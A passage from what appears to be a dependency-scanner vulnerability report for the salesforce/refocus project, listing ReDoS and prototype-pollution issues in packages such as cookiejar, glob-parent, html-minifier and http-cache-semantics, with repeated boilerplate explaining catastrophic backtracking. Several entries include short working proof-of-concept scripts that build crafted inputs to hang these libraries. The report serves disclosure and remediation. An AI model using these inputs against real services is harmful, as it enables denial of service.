$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for content-type-parser.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cookiejar
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 cookiejar@2.0.6
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.

PoC

const { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}`);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cookiejar to version 2.1.4 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@1.3.2.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: npm-watch@0.1.9

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 glob-parent@3.1.0
    Remediation: Upgrade to npm-watch@0.7.0.

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: html-minifier
  • Introduced through: html-webpack-plugin@2.30.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 html-minifier@3.5.21

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the value parameter of the minify function. This vulnerability derives from the usage of insecure regular expression in reCustomIgnore.

PoC

  const { minify } = require('html-minifier');

const testReDoS = (repeatCount) => {
    const input = '\t'.repeat(repeatCount) + '.\t1x';

    const startTime = performance.now();

    try {
        minify(input);
    } catch (e) {
        console.error('Error during minification:', e);
    }

    const endTime = performance.now();
    console.log(`Input length: ${repeatCount} - Processing time: ${endTime - startTime} ms`);
};


for (let i = 5000; i <= 60000; i += 5000) {
    testReDoS(i);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for html-minifier.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: http-cache-semantics
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.21.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 http-cache-semantics@3.8.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.

PoC

Run the following script in Node.js after installing the http-cache-semantics NPM package:

const CachePolicy = require("http-cache-semantics");

for (let i = 0; i <= 5; i++) {

const attack = "a" + " ".repeat(i * 7000) +
"z";

const start = performance.now();
new CachePolicy({
headers: {},
}, {
headers: {
"cache-control": attack,
},


});
console.log(`${attack.length}: ${performance.now() - start}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade http-cache-semantics to version 4.1.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: js-beautify
  • Introduced through: js-beautify@1.6.14

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af js-beautify@1.6.14
    Remediation: Upgrade to js-beautify@1.14.1.

Overview

js-beautify is a reformat and re-indent bookmarklets, ugly JavaScript, unpack scripts packed by Dean Edward’s popular packer, as well as partly deobfuscate scripts processed by the npm package "javascript-obfuscator".

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an unsafe regex in tokenizer.py and tokenizer.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-beautify to version 1.14.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: babel-loader@6.1.0, extract-text-webpack-plugin@0.8.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-loader@6.1.0 loader-utils@0.2.17
    Remediation: Upgrade to babel-loader@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af extract-text-webpack-plugin@0.8.2 loader-utils@0.2.17
    Remediation: Upgrade to extract-text-webpack-plugin@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 loader-utils@0.2.17
    Remediation: Upgrade to html-webpack-plugin@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 loader-utils@0.2.17
    Remediation: Upgrade to webpack@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: babel-loader@6.1.0, extract-text-webpack-plugin@0.8.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-loader@6.1.0 loader-utils@0.2.17
    Remediation: Upgrade to babel-loader@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af extract-text-webpack-plugin@0.8.2 loader-utils@0.2.17
    Remediation: Upgrade to extract-text-webpack-plugin@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 loader-utils@0.2.17
    Remediation: Upgrade to html-webpack-plugin@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 loader-utils@0.2.17
    Remediation: Upgrade to webpack@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

